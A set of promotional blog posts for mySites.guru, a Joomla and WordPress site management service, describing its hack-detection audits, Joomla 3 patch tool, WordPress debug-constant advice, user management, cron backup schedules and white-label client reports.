Searching every single line of code, for one of nearly 2000 patterns of previous hacks we have seen, and if found marking a file as "suspect"
Checking the md5 hash of the file against over 14,000 specific md5 hashes of previously declared "hacked" files. There are no false positives, each of these 14,000 md5 hashes has been manually checked and confirmed to match a file which is hacked
We check the created, modified and other metadata of each file, including the EXIF data on images (where hacks are known to reside!)
We identify any encrypted files, PHP error logs, Archive files, files over 2mb in size, zero byte files and many other classifications. See our guide on cleaning up dangerous files for details on why these matter.

Once the audit is over we notify you so you can login to and review the results. The screenshot below shows the first three sections of the audit tab.

Example Audit Results (truncated)

As you can see we display the audit results in the same format as the snapshot tab, with the number of problems, name of the tool, a link to any video, a helpful learn more page, and a button used to investigate our findings.

Suspect files tool

Our most popular tool is the suspect content tool.

This is the tool that lists all the files that have matched either our 20000ish regex patterns, or one of our 14,000 md5 hashes. Just because a file is listed doesnt mean its hacked, unless we specifically state so, as the regex pattern matches are designed to raise false positives and highlight other things (like hidden spammy links to template providers!).

If your file is a known backdoor for a hacker - we mark it as such!

Example hacked file, this one is an insecure form that allows anyone to upload any file their like to the webspace!

This example is a "pretend" image that actually has hackers code embedded into the image to allow the hacker to run any PHP code it likes - this specific example is part of a larger hack

By clicking any of the file names, you can see a preview of the section of the file we think is suspect. You can also see when it was modified, its size, and its permissions.

You can use our tools to edit the file directly in mySites.guru and then save the changes, and we will upload them to your site - no need to find your FTP Client! You can also delete the whole file with a single click.

Hacked hashes

Example export from our database.

One of the things that sets us apart from most other services, is that we crowdsource data on hacks and backdoors.

In practice, this means that once a hack is discovered and confirmed on one Joomla site (for example), patterns and regexp are created, approved, and rolled out to the 80,000+ sites the next time they are audited. Including your sites!

This means you benefit from the discovery of emerging hacks and trends we see on other sites. Our system is totally dynamic and self-improving, even without human interaction and people often find hacks on their site when they add them to mySites.guru, that have been left dormant for years, or badly cleaned on previous clean ups.

Fully automated detection improvements

We can also manually improve the audit (and we do) multiple times a day, and with our automatic rollout/upgrade of our tools connector on your site - you get the very latest protection without having to manually upgrade our connector!

File information tools

One of the main sections in the mySites.guru audit tab is the list of File Information Tools.

These allow you to investigate a list of files that match certain classifications, such as encrypted files, or files over 2mb. The audit also surfaces hidden dot-files and dot-folders that most file managers never show you and that hackers routinely exploit.

Over the years these are the tools we have used to identify new and emerging hacks, or to look for something specific, like files that allow file uploads or sending email for example. The audit also includes a dedicated email configuration check that sends a real test email from your site and verifies it arrives.

What makes this audit different?

The mySites.guru audit is unlike any other service you will read about.

We do not buy in someone else's API, all our hack detection is based on over a decade of real life hacks for Joomla and WordPress (and not generic rule based detection like others)

If your site is hacked, mySites.guru will discover that, and inform you, and give you the tools you need to fix your site yourself! A real-world example: the Astroid Framework vulnerability was detected across thousands of sites through our md5 hash matching and suspect content patterns. See our breakdown of the Novarain Framework vulnerability for another example of how hidden extension dependencies create security blind spots that only a file-level audit catches. After all, mySites.guru was created because, at the time, I was doing all this manually myself to fix hacked client sites and I needed a way to automate much of what I did.

Out of your depth and need help?

If the mySites.guru audit finds your Joomla or WordPress site is hacked, and you are unsure how to fix it with our tools, or just want us to take care of everything for you, you can escalate this to us using the service at https://fix.mysites.guru/ for SET FEE priced hack fixes.

Not a subscriber yet? Start with a free site audit - no credit card, no commitment. Connect your site and see what's hiding in your webspace.

See how these tools fit into a broader strategy in our security guide for agencies.

The Agency Dashboard for All Your Sites

phil@mysites.guru (Phil Taylor) — Mon, 11 Mar 2024 00:00:00 GMT

The mySites.guru dashboard for managing multiple WordPress sites pulls your sites' key information into one place. Having this data to hand, instead of spread across disparate systems, spreadsheets, and post-it notes, means faster decisions and a clear view of what needs doing.

The main sites list

The first page you get to after login is the main list of your sites.

The Main Sites List In Your Account

This page brings together all your Joomla and WordPress sites. In a single mySites.guru account you can have UNLIMITED sites of any platform.

On this page we list the most important information visually, so you can immediately see:

Number of tags on a site
Audit not yet viewed notification
No SSL Certificate used on site
Number of updates available per site
The site's server PHP Version
The sites's platform (Joomla/WordPress) version
If the site is hacked

For version numbers, we highlight them green if the latest version, orange if out of date and red if end of life.

From this page you can even export a CSV List of your sites and their overview information for processing in a spreadsheet or other system.

You can also use the quick links to view your site, or, if configured, use the admin link to Auto Login to your Joomla/WordPress Admin console - a single click login!

The globe icon = Site frontend The link icon = One Click Admin Login

The left menu: check important items

Depending dynamically on the information we have on your sites, your left menu will also have some important checks as menu items to filter your sites list.

Left Menu

These are just some of the menu items that can be visible based on the data on your sites, bringing together, in one place, a list of tasks you can undertake to get your sites in better shape, to allow you to see the updates available on your sites and then by clicking the menu links, to filter your sites by that item - showing which sites you need to take action on.

Other site information

Just to highlight some other menu items that bring together your site data in one place, you can find the "Other Site Information menu group, this contains several items such as:

Your Webservers, by hostname - a list of your server hostnames and the filter to see which sites are on which servers
Your Joomla Extensions - a complete set of tools for viewing and managing your Joomla extensions, and listing which sites they are on, and their versions and data
Your Joomla Update Sites - a list of all the Joomla Update Sites for your extensions, and the ability to set and disable automatic extension/plugin updates
Your Site Screenshots - FREE graphical screenshots of the home page of every site you have in your account, and links to enable a public "show off" page of these.
Your SSL Certificate Expirations - see below...

SSL expiration tracking

One of these "Other Site Information" Menu items is for SSL Expiration Dates.

On this page we bring together in one place, a list of all your sites with SSL Certificates installed, and list, by expiration date, their certificate issuers and expiration date.

The items nearer the top will expire first (But dont worry, mySites.guru checks your site several times a day with the Snapshot, and if your SSL is getting close to expiration we alert you by email!)

That's a quick look at how mySites.guru pulls data from unlimited Joomla and WordPress sites into one dashboard.

Site intelligence is covered in our agency multi-site management guide.

Site Management Is More Than Just Updates

phil@mysites.guru (Phil Taylor) — Mon, 11 Mar 2024 00:00:00 GMT

"Managed site hosting", "managed server hosting", "managed updates" - you hear it everywhere. But there is so much more than updates, backups, and monitoring needed to run a successful agency full of sites.

At mySites.guru, we manage tens of thousands of Joomla and WordPress sites, backed by over a decade of experience within the Joomla project, delivering architectures for large companies, small companies, and digital agencies.

There is so much more to website management than running bulk updates, backups, and checking for uptime.

Plenty of services exist for WordPress, and a handful for Joomla - but very few handle both platforms the way mySites.guru does. Even the big players like GoDaddy have bought companies like ManageWP and rebranded it GoDaddyPro (WordPress only, though).

Building a tool that does mass updates, backups, and uptime is table stakes. We've watched companies attempt it as a side project with contract help. The hard part is everything else.

Why is mySites.guru different?

If you run a digital agency or freelance, you need a complete solution. Not just another updates dashboard.

Site management is hard work. When a customer calls saying their site is hacked, they blame you, not their underinvestment. We get it.

Best practice is the key to preventative maintenance. But it's hard to keep on top of, hard to consistently apply to all sites - especially when you've moved on to the next build or customer, and new attacks keep appearing.

When a site gets hacked, you need the tools to investigate and fix the hack yourself, and you need someone to escalate to for bigger issues. We've got your back on that too.

Handling 100–1,000 websites is a full-time job. Or at least it should be. Many agencies can't spare a person to do it full-time, and many customers don't want to pay for maintenance - until everything goes wrong.

You don't always have time to check every setting on every site, especially the one the customer still hasn't paid for.

Your datacenter and VPS provider only care about power and connectivity. They don't help with site problems, hacks, or brokenness. It's never their problem.

Sometimes you just need an expert who can talk the talk with your web host and get them to actually make changes.

What mySites.guru gives you beyond updates, backups, and uptime

From day one, mySites.guru has been an unlimited service at a set price for unlimited sites, with a toolset that goes well beyond what's listed on the features page.

Every new customer gets a free month of service so you can use the tools on your own sites and see what's really going on under the hood.

<div class="not-prose my-6 rounded-lg border border-blue-200 bg-blue-50 p-4 dark:border-blue-800 dark:bg-blue-950"> <p class="font-medium text-blue-900 dark:text-blue-200">ℹ️ Not your typical site management dashboard</p> <p class="mt-1 text-sm text-blue-800 dark:text-blue-300">This is a unique toolset not found elsewhere - security audits, hack detection, and best practice enforcement built into every plan.</p> </div>

The Snapshot

The mySites.guru Snapshot instantly checks your site against a large number of best practice criteria and reports results within seconds, with links to explore any issues found.

The Audit

The mySites.guru Audit goes deeper than the Snapshot. It compiles a list of every file in your webspace and checks each line of code, looking for hacks and malicious patterns.

What we check for improves daily as more crowdsourced data is added. A hack found on someone else's site gets added to the detection rules, so your next audit catches it too.

We don't "scan" your site from the outside like some other vendors do. We look at every single line of code and every image, flag anything suspect, and give you tools to dig into the results. That same deep scan also turns up hidden files most site owners don't know exist -- dot-files, leftover scripts, and system files that can become real problems.

Learn More Pages

Every tool is well documented. The mySites.guru Learn More pages explain what we looked for, what we found, why it matters, and link to external resources if you want to go further.

What else does mySites.guru offer?

Here's a quick rundown of what else mySites.guru offers. The Features page has everything, or get in touch if you have questions.

For a deeper dive into any of these areas, see our guides on multi-site agency management, CMS security, managing updates at scale, and site monitoring and alerting.

A Single Dashboard for Unlimited Sites • Best Practice Checks • Snapshots •Suspect Content Tool • Periodic Auditing • Find hacks and backdoors • Rock Solid Backups • Toggle Fixes • One Click Login • End-Of-Life Support •Version Tracking • Scheduler • Generate Screenshots • SSL Checks • White Label Client Reporting • Supports WordPress & Joomla, even very old versions • Mass Plugin Installer • Uptime Monitoring/Downtime Alerts Explained/Real-Time Alerts • Action Logs •Extension Management/Tracking • Team Accounts • Lighthouse Performance Audits • Automatic Updates • Mass Updates & Upgrades • Tagging • Real Time Alerting • Fix a Hack • One Click Backup • Security Headers Checks •Unlimited Backup Schedules • Public Uptime Status Pages

Tools for Managing Multiple Sites

phil@mysites.guru (Phil Taylor) — Mon, 11 Mar 2024 00:00:00 GMT

Ok another Friday release - we deploy 7 days a week, and especially on a Friday, our favourite day for features to be released and deployed!

Earlier in the week we reinstated the "Backup All" sites button, this time its the "Snapshot All" button!

One of the most requested features this week was the ability to update the snapshot of all sites in one go. This is useful just before a mass update of Joomla or WordPress sites.

The mySites.guru snapshot is the quickest collection of data we run. Whereas the audit requires us to look at every single file in your webspace, and then audit every single line of every single file, the snapshot is looking for very specific things.

Some of the data is version numbers, PHP Version, Joomla Version, WordPress Versions, PHP Configuration settings etc.

Some of the data is specific checks, looking at specific configuration options in your site to ensure you are following all the best practice we are promoting.

We also look for specific hacks that are quick to find.

Where is the "Snapshot All" button?

Actually mySites.guru had this button way back in 2012 when we first launched when we only had a few sites and we did not need to worry about scaling our service

It was removed when we started getting busy :)

You can find the new button at the top right of the main sites overview page, this page shows some of the version numbers and results of the snapshot.

Once you press this button, we will user a job into our queue for each site, with a short load balancing delay to not overload your web servers, and snapshot each site.

This will also update the list of updates available for each site.

You can then carry on using mySites.guru as we will do this in the background for you, and update the data as soon as we receive replies from your web servers.

This is just another example of customers asking for features, and us responding to that feedback - not in a matter of months or weeks, but in hours or days. mySites.guru is the ONLY service that iterates as fast and deploys to production many times a day

Join us today - get your first month free!

The Best Multi-Site Management Dashboard

phil@mysites.guru (Phil Taylor) — Mon, 11 Mar 2024 00:00:00 GMT

Over 80,000 WordPress and Joomla sites are connected to mySites.guru. One dashboard to manage multiple WordPress sites, run security audits, backups, uptime checks and everything else. Joomla gets the same features, not a cut-down version.

The service has been running since 2012 and the price hasn't changed once. GBP 19.99 per month, unlimited sites.

What do subscribers actually think?

We don't write our own testimonials. Our subscribers post on Twitter/X and other platforms using their own accounts, and we link to those posts on the reviews page. Click through and verify them yourself.

What did WPMayor.com say?

WPMayor.com published an independent review of mySites.guru: read it on their site. We wrote some notes about it too.

What do you actually get?

Plenty of multi-site dashboards exist. Very few of them handle Joomla, WordPress and arbitrary PHP webspaces in the same panel with identical features across all three. Here's what's included:

Best practice checks for every connected site
Hacked file and backdoor scanning
Uptime monitoring
Line-by-line security audits
Akeeba Backup and All-In-One-Backup integration with a flexible backup scheduler
Real-time alerts when files change or someone logs into an admin panel

Still running Joomla 1.5.26? That works too. mySites.guru is compatible back to Joomla 1.5.0.

Switching from Joomla to WordPress?

Remove the Joomla site, add the WordPress one. No extra charge, no per-site fees. Same subscription, same price since 2012.

<div class="not-prose my-6 rounded-lg border border-blue-200 bg-blue-50 p-4 dark:border-blue-800 dark:bg-blue-950"> <p class="font-medium text-blue-900 dark:text-blue-200">ℹ️ Simple pricing</p> <p class="mt-1 text-sm text-blue-800 dark:text-blue-300">GBP 19.99 per month. Unlimited sites, all features included.</p> </div>

Can I try it free for a full month?

Who handles support?

mySites.guru support means talking to Phil Taylor directly. Phil built the service, has been in the Joomla ecosystem since the Mambo days, and was one of the top code contributors to Joomla 4. No ticket queue, no first-line script readers. You talk to the person who wrote the code.

Site hacked? What does cleanup cost?

Phil can recover hacked WordPress and Joomla sites for a flat fee, no hourly billing. Details at fix.mySites.guru.

The dashboard is the centrepiece of our Joomla Agency Handbook.

The Joomla 3.10.999 Project

phil@mysites.guru (Phil Taylor) — Mon, 11 Mar 2024 00:00:00 GMT

Joomla 3 reached end of life in August 2023. Since that date, the Joomla Project has not released any further security updates for the 3.x series. If you're still running Joomla 3, your site is unpatched and exposed.

What was the 3.10.999 project?

Every time a major Joomla series hits end of life, Phil Taylor publishes what he calls the "dot 999" project. It's a reference repository: the last official release from the supported series, plus community-sourced security patches to keep sites minimally secure after official support stops.

Phil did this for Joomla 1.5, Joomla 2.5, and Joomla 3.10. Most of the patches came from community contributors and from Phil's own work. The projects sit alongside two other long-running community resources: the community hosted mirror (goes back to the Mambo days) and the core files service (every Joomla file ever officially released).

All three projects are on GitHub:

These are reference repos only. They document the recommended changes to keep sites minimally secure. They were never intended to be complete, forward-compatible, or tracking the latest PHP releases. There are no custom update servers. You grab what you need and apply it yourself.

Still on Joomla 3? Is it time to move?

Joomla 3 has been end of life since August 2023, over two and a half years now. The latest supported series is Joomla 6, and the migration tooling has come a long way since the early Joomla 4 days.

Running an unsupported CMS means no security patches and no compatibility fixes. Hosting providers are already dropping the older PHP versions that Joomla 3 needs, so breakage is coming whether you plan for it or not.

The 3.10.999 project was always a stopgap, not a destination. If you haven't migrated yet, now is the time.

Can you fix every known Joomla 3 vulnerability with one click?

Downloading patches from GitHub and manually editing 55 files per site is fine if you have one or two sites. If you manage dozens or hundreds of Joomla 3 installations, it doesn't scale.

That's why mySites.guru built the Joomla 3 Patch Tool. It's a single toggle that applies every known security fix from the 3.10.999 project directly to your sites. No manual file edits, no separate subscription.

Read the full guide to the Joomla 3 Patch Tool

How it works

The patch tool is in the Site Snapshot for each Joomla 3.10.12 site in your mySites.guru account. Flip the toggle on and the mySites.guru connector compares MD5 hashes of every file that needs patching against the expected patched versions. Anything that doesn't match gets replaced. Flip it off and the files revert to stock 3.10.12. Fully reversible.

What it patches

The tool modifies 55 files covering every known vulnerability disclosed since Joomla 3.10.12:

9 separate XSS vulnerabilities across media selection fields, mail address outputs, filter code, StringHelper, com_fields, wrapper extensions, OutputFilter methods, module chromes, and menu list IDs
Cache poisoning in pagination
Open redirects from inadequate URL validation
Insufficient session expiration in MFA management views
Environment variable exposure
ACL violations in multiple core views
Bug-fix-for-bug-fix patches, where the now-defunct commercial eLTS releases shipped broken code that needed further patching

The full CVE list with links to every advisory is in the patch tool guide.

Bulk patching across all your sites

Got a fleet of Joomla 3 sites? The patch tool has a bulk view that shows every Joomla 3.10.12 site you manage with individual toggles. One screen, all your sites.

Jump straight to it at manage.mysites.guru/en/tools/allsites/Joomla/joomlaconfiguration/joomla3eol.

No eLTS subscription required

The Joomla Project used to offer a commercial eLTS programme for Joomla 3, but that has since ended. mySites.guru includes all known Joomla 3 security patches as part of your standard subscription. The patches come from the same open-source 3.10.999 project.

Patched files show up in audits

After patching, your mySites.guru security audit will flag the modified files as Core File Changes, because they are changes to the original 3.10.12 distribution. You can inspect every diff directly in the audit tool, so you always know what changed and why.

Why is Joomla 3 still everywhere?

Joomla 3 is end of life, but it still runs on a huge number of sites. Joomla's own usage statistics put 3.10.x at over 35% of reporting installations. If you run a digital agency, you know how it goes: migrating clients takes budget, developer time, and client sign-off. That doesn't happen overnight, and the sites still need protecting while you work through the backlog.

The 3.10.999 project and the mySites.guru patch tool are there for exactly that gap. Keep sites secure while you plan and execute the migration to Joomla 6.

Get started

Add your Joomla 3 sites to mySites.guru, flip the patch toggle, and get on with the migration planning.

Start your free trial - no credit card required.

Legacy security is covered in our full security guide for agencies.

Anonymize Data Before Taking Screenshots

phil@mysites.guru (Phil Taylor) — Mon, 11 Mar 2024 00:00:00 GMT

We love that people share screenshots of our Joomla and WordPress management tools, but doing so can reveal live site names, customer names, and URLs. You probably don't want those immortalized in images, and neither do we.

So we built a way to anonymize all that data right in the browser.

How does it work?

Append ?anon=1 to any URL in your mySites.guru account and all site names, URLs, tags, usernames, and avatars are instantly replaced with randomized data.

Try it: https://manage.mysites.guru/en/sites/?anon=1

In the screenshot above, "Ethan Martinez" is a fake name generated on the fly. Every name, URL, and avatar on the page is randomized.

This works on every page in mySites.guru. If you're writing a blog post, giving a presentation, or sharing your setup on social media, just add ?anon=1 and take your screenshot.

Credits

The anonymized data comes from a couple of open-source projects:

randomuser.me for fake usernames, names, and avatars
robohash.org for the robot avatar images

If you spot one of those little robot faces, now you know why they're there.

Practical tips like this are part of our multi-site management guide.

Top 50 Joomla Extensions in 2026

phil@mysites.guru (Phil Taylor) — Mon, 11 Mar 2024 00:00:00 GMT

People are always interested in what other people are using to build their Joomla site. We have the data, so while other sites might blog post about this with static information, we thought we would make this REAL TIME and accessible to all our mySites.guru subscribers, updated with data in real time pulling from our database of over 80,000+ sites

No Surprises by Akeeba Backup and Joomla Content Editor win hands down.

https://manage.mysites.guru/en/extensions/top/50

For those that are not customers, here is a sneak preview of the top 10 extensions for Joomla, at the end of November 2019.

Want to make sure your site is compatible with Joomla 5?

Check out the new mySites.guru Joomla 5 Technical Requirements Checker.

For agency-focused guidance on managing Joomla extensions, updates, and client sites, see the Joomla agency handbook.

WordPress Debug Constants Explained

phil@mysites.guru (Phil Taylor) — Mon, 11 Mar 2024 00:00:00 GMT

WordPress has a handful of PHP constants that control how errors are reported. They all live in your /wp-config.php file, and most WordPress developers never touch them. That's usually fine until something breaks and you have no idea why.

But one of these constants has a security problem that most people miss entirely.

Why is WP_DEBUG_LOG a security risk on live sites?

This is the one that catches people out. Setting WP_DEBUG_LOG to true writes PHP errors to /wp-content/debug.log, and that file is publicly accessible by default. Anyone who knows the path can read it. Worse, Google has already indexed thousands of them.

These log files can expose database credentials, file paths, plugin internals, and other details that make an attacker's job much easier. If your site has WP_DEBUG_LOG set to true in production, fix it now.

The fix: pass a custom, hard-to-guess filename instead of true:

define( 'WP_DEBUG_LOG', 'myOwnRandomFileName_as8f6safsif.log' );

Now nobody can guess the URL. The log still works, but it's not sitting at a predictable path waiting to be found.

If you're worried that your debug log has already been exposed, run a suspect content scan to check for any signs of compromise.

The WordPress debug constants

Here's what each one does and when to use it. The official docs are at WordPress.org's Advanced Administration Handbook if you want the full reference.

WP_DEBUG

The main switch. Set it to true and WordPress will show PHP errors, notices, and warnings on screen.

define( 'WP_DEBUG', true );

Leave this on in development, turn it off in production. Simple.

WP_DEBUG_LOG

As covered above, this writes errors to a log file instead of printing them on screen. Useful for production sites where you don't want visitors seeing PHP warnings, but never set it to true on a live site. Always use a custom filename.

define( 'WP_DEBUG_LOG', 'myOwnRandomFileName_as8f6safsif.log' );

WP_DEBUG_DISPLAY

Controls whether errors show on screen. Set to false on live sites so errors get logged but visitors don't see them.

define( 'WP_DEBUG_DISPLAY', false );

SCRIPT_DEBUG

Forces WordPress to load the full, unminified versions of its CSS and JS files instead of the minified ones. Handy when you're debugging front-end issues and need to actually read the source.

define( 'SCRIPT_DEBUG', true );

SAVEQUERIES

Stores every database query in $wpdb->queries so you can inspect them. Good for tracking down slow queries, but leave it off in production because it adds overhead.

define( 'SAVEQUERIES', true );

Checking WordPress debug constants across all your sites

Manually checking wp-config.php on every site gets old fast. The mySites.guru snapshot reads your WordPress config and flags anything that doesn't match best practice. Most settings have one-click toggles so you can fix them without editing files. The same one-click approach works for other WordPress configuration checks, like removing the WordPress logo from the admin bar, disabling automatic updates, and cleaning up leftover default content.

You can also view any single constant across all your connected sites at once using the Ultimate Toolset. Click through any snapshot tool to see that value on every site in one view.

For a broader look at hardening your WordPress and Joomla installations, see the WordPress and Joomla security guide.

Need someone to fix it for you?

If debugging isn't your thing, or you'd rather not deal with it, we offer set-fee site fixes at fix.mysites.guru. No hourly billing, no surprises.

Can you try mySites.guru free for a month?

We haven't raised our prices since 2012. But if you want to see the toolset for yourself first, you can use mySites.guru free for a whole month.

Universal User Management Across Sites

phil@mysites.guru (Phil Taylor) — Mon, 11 Mar 2024 00:00:00 GMT

mySites.guru lets you manage all your users, across all your sites, from a single page. Change email addresses, reset passwords, assign roles and permissions, block accounts. No logging into each site individually.

This is part of the mySites.guru dashboard, which covers unlimited Joomla, WordPress, and PHP sites for £19.99 per month.

The idea behind Universal User Management

Password resets without the runaround

Your client calls to say they've forgotten their password. Before mySites.guru, you'd have to go to their website, remember your own credentials, log in, find their user account, reset the password, and relay the new one back to them.

With Universal User Management, you can:

Go to Universal User Management (find it in the left menu, or press Shift twice to open the command palette)
Search by name or email address
Click edit next to their user account
Change the password
Save - done

Step 1: Search

Step 2: Select one or more user accounts found across your sites, or click edit to update a specific user

Revoking access for a departing team member

A staff member leaves your agency, maybe on bad terms, and you need to find every client site they have access to. Search their name or email address and you get back a list of every site where they have an account. Reset the password or block them across all of those sites at once.

Bulk name changes

A user gets married and wants their new surname updated across all their accounts. Universal User Management handles that across hundreds of sites in one go.

Role and permission changes

Need to change someone from editor to administrator across all their sites? Search, edit, save. Same process works in reverse if you need to downgrade permissions.

Searching for suspicious accounts

Investigating a compromised account? Search all users on all sites by name, email address, or email domain to track down suspicious or unauthorized accounts.

Got a different use case?

There are plenty more situations where searching and editing users across sites comes in handy. If you've got one we haven't thought of, let us know.

The full list of features

Search users across all connected sites by name or email
Edit email addresses, passwords, names, and roles
Log in as any user on any site using mySites.guru AutoLogin

On the roadmap

Block a user across sites (WordPress has no built-in concept of blocking, so this needs custom handling)
Remove two-factor authentication from a Joomla user
Retrieve 2FA backup codes from a Joomla user so you can give your client a one-time login to re-enable it

Managing your team's access to mySites.guru itself is handled separately through the team management feature.

Unlimited Backup Schedules With Cron Syntax

phil@mysites.guru (Phil Taylor) — Mon, 11 Mar 2024 00:00:00 GMT

<div class="not-prose rounded-lg border border-neutral-200 dark:border-neutral-700 bg-neutral-50 dark:bg-neutral-800/50 p-4 flex gap-3 items-start text-sm"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512" class="w-5 h-5 shrink-0 fill-neutral-500 dark:fill-neutral-400 mt-0.5"><path d="M256 48a208 208 0 1 1 0 416 208 208 0 1 1 0-416zm0 464a256 256 0 1 0 0-512 256 256 0 1 0 0 512zM216 336l-24 0 0 48 128 0 0-48-32 0 0-112-96 0 0 48 48 0 0 64-24 0zm72-144l0-64-64 0 0 64 64 0z"/></svg> <p class="text-neutral-700 dark:text-neutral-300 m-0">The screenshots below are from an older version of the interface. We've since redesigned the dashboard, but the process works the same way.</p> </div>

mySites.guru lets you create unlimited backup schedules, each defined with a cron expression. You pick the timing, the frequency, and which Akeeba Backup profile to use - per schedule.

Example schedules

Daily morning - back up using the "Default Backup Profile" and save on the server every morning
Nightly FTP - send a backup to FTP every evening
Weekly offsite - send a backup to Amazon Glacier once a week on Tuesday

Cron expression syntax

Cron syntax is a standard way of defining when a scheduled event should run. If you've ever configured a server, you've probably seen it.

If you want a deep dive, see the Wikipedia article on cron expressions - but most agencies using mySites.guru will already be familiar with cron.

Cron has 5 segments: * * * * * (a star means "every"). So * * * * * means every minute of every day - probably not what you want for backups.

You can adjust the syntax for granular control. Some examples:

Daily at 09:15 UTC - 15 9 * * *
Weekly on Tuesday at 12:34 UTC - 34 12 * * 2 (the 2 represents Tuesday, where 0 = Sunday)
Monthly on the 26th at 04:36 UTC - 36 4 26 * *

Can you use different backup profiles per schedule?

You can specify a different Akeeba Backup profile for each schedule. This means you can run a daily on-server backup, a weekly off-server backup, and a monthly Amazon S3 backup - all at the same time.

If you're already using Akeeba Backup Professional, this is where those extra profiles actually become useful.

Powered by Akeeba Backup

Akeeba Backup Professional is the backup solution we've integrated with since day one. We use their API directly and recommend their tools to every customer.

<div class="not-prose my-6 rounded-lg border border-green-200 bg-green-50 p-4 dark:border-green-800 dark:bg-green-950"> <p class="font-medium text-green-900 dark:text-green-200">💡 Recommendation</p> <p class="mt-1 text-sm text-green-800 dark:text-green-300">If you're new to Joomla or WordPress and need a solid backup solution, pick up a subscription to Akeeba Backup Professional - and grab Admin Tools Professional while you're there.</p> </div>

mySites.guru also supports the All-in-One WP Migration backup plugin for WordPress.

How Often Should You Back Up?

When we migrated existing backup schedules to cron syntax, here's what we saw across our user base:

Take a backup before any major changes, and set a frequency that matches your risk appetite. The gap between your backups is the amount of data you stand to lose - keep that gap as small as practical.

Where should you store your backups?

Don't store backups on the same server as your website. A single datacenter fire or server compromise could wipe out both your site and its backups in one go.

Akeeba Backup Professional supports Amazon S3, FTP, Google Drive, and other remote storage services. Most of them cost almost nothing.

For a broader look at scheduling backups, audits, and updates, see our dedicated scheduling guide.

What about existing schedules?

If you had backup schedules configured before the switch to cron syntax, those were automatically migrated. We took your selected profile number and daily/weekly/monthly setting, looked at the date of your last backup, and generated an equivalent cron expression.

For a complete guide on fitting backups into your update and maintenance workflow, see managing CMS updates at scale.

mySites.guru No Longer Provides UptimeRobot Status Pages

phil@mysites.guru (Phil Taylor) — Mon, 11 Mar 2024 00:00:00 GMT

mySites.guru no longer integrates with UptimeRobot.com for uptime monitoring or status pages.

We built our own monitoring engine instead. It's part of the Ultimate Toolset included with every mySites.guru subscription, no extra cost.

<div class="not-prose my-6 rounded-lg border border-amber-200 bg-amber-50 p-4 dark:border-amber-800 dark:bg-amber-950"> <p class="font-medium text-amber-900 dark:text-amber-200">⚠️ Why we stopped using UptimeRobot</p> <p class="mt-1 text-sm text-amber-800 dark:text-amber-300">mySites.guru used UptimeRobot for uptime monitoring from 2012 until August 2021. After UptimeRobot was acquired by itrinity in 2019, the service suffered repeated outages and our account was terminated without warning on multiple occasions. In July 2021, the new owners tried to raise our annual fee from $6,792 to $22,416 (a 352.4% increase) with 66 days' notice. We declined, and on 12th August 2021 we switched to our own custom-built monitoring engine. It handles all our monitoring at a fraction of the cost, with no third-party dependency.</p> </div>

The engine checks every connected site once per minute and runs three separate checks before firing an alert, so you're not getting woken up over a false positive.

If you're wondering why you're getting downtime alerts, we wrote a separate guide on how the alerts work and what they mean. For a complete look at monitoring strategy for agencies, see the site monitoring and alerting guide.

White-Label Activity Reports for Clients

phil@mysites.guru (Phil Taylor) — Mon, 11 Mar 2024 00:00:00 GMT

<div class="not-prose rounded-lg border border-neutral-200 dark:border-neutral-700 bg-neutral-50 dark:bg-neutral-800/50 p-4 flex gap-3 items-start text-sm"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512" class="w-5 h-5 shrink-0 fill-neutral-500 dark:fill-neutral-400 mt-0.5"><path d="M256 48a208 208 0 1 1 0 416 208 208 0 1 1 0-416zm0 464a256 256 0 1 0 0-512 256 256 0 1 0 0 512zM216 336l-24 0 0 48 128 0 0-48-32 0 0-112-96 0 0 48 48 0 0 64-24 0zm72-144l0-64-64 0 0 64 64 0z"/></svg> <p class="text-neutral-700 dark:text-neutral-300 m-0">The screenshots below are from an older version of the interface. We've since redesigned the dashboard, but the process works the same way.</p> </div>

If you manage Joomla or WordPress sites for clients, reporting is one of those tasks that either eats your time or doesn't happen at all. mySites.guru's white-label reports solve both problems: they generate automatically on whatever schedule you set and email directly to your clients from your own address.

Automated reports, on your schedule

One of the things that sets mySites.guru's white-label reports apart is that you configure them once and forget about them. You can create unlimited report schedules, each running on its own cron - daily, weekly, monthly, whatever you need - and have them emailed to as many people as you want, including your clients directly.

The report period is flexible too. A few examples:

Monthly client report - Send your client an email from your own address on the 7th of every month at 1am, with a report covering just their 2 sites plus any sites tagged "client-name", excluding version numbers, with your logo in the header. It runs every month until you cancel it.

Weekly overview for yourself - Send yourself a summary every Sunday of all available updates across every site in your account, using the default template.

Flexible site selection

Some reporting tools only let you pick individual sites or a single tag. mySites.guru lets you combine both. Select 3 specific sites and 6 tags - the report includes those 3 sites plus every site matching any of those tags. If a site appears through multiple selections, it gets deduplicated automatically.

You can use a tag per client, select individual sites per report, or mix and match however your workflow demands.

Unlimited, configurable reports

Create as many report configurations as you need. Each one lets you set:

Report name (used as the email subject line)
Schedule or manual-only - toggle between scheduled delivery and on-demand generation
Cron schedule - use the built-in cron builder with simple clicks, no syntax to memorise
Report period - "since the last report ran", between two fixed dates, or a set number of days before runtime
Site selection - pick individual sites, tags, or any combination
Report sections - toggle sections on or off, hide individual log rows you don't want
Email recipients - send to unlimited email addresses
DNS configuration for sending from your own domain - we walk you through SPF and DKIM setup to remove the last trace of mySites.guru from outgoing emails. You can also remove the WordPress logo from the admin bar for a fully white-labelled admin experience
Template customisation - modify the report layout using the built-in sandboxed Twig template designer

Can you send reports from your own email address?

If you're sending monthly reports to clients, you probably don't want them coming from a mySites.guru address. We get that.

Setting up SPF and DKIM DNS records for your domain lets mySites.guru send emails that appear to come from your own address. The setup is guided - follow the instructions, get three green ticks, and from that point on every report email is sent "from" you.

<div class="not-prose my-6 rounded-lg border border-green-200 bg-green-50 p-4 dark:border-green-800 dark:bg-green-950"> <p class="font-medium text-green-900 dark:text-green-200">No mail credentials needed</p> <p class="mt-1 text-sm text-green-800 dark:text-green-300">mySites.guru does not need your email password, mail server details, or mailbox access. The SPF and DKIM records authorise our mail servers to send on your domain's behalf - that's all.</p> </div>

What does the report contain?

Every section is toggleable - include only what matters for each client. The main sections are:

Site screenshot
Uptime summary and uptime log
Extension updates available
Backup information
Site activity log
CMS and PHP version numbers

The site activity log captures events like admin logins and logouts, user modifications, file changes, snapshots, security audits, extension upgrades, backup events, downtime events, extension installs and removals, tool applications, and configuration changes.

Example site activity log

Example uptime summary

Customise the template with HTML and Twig

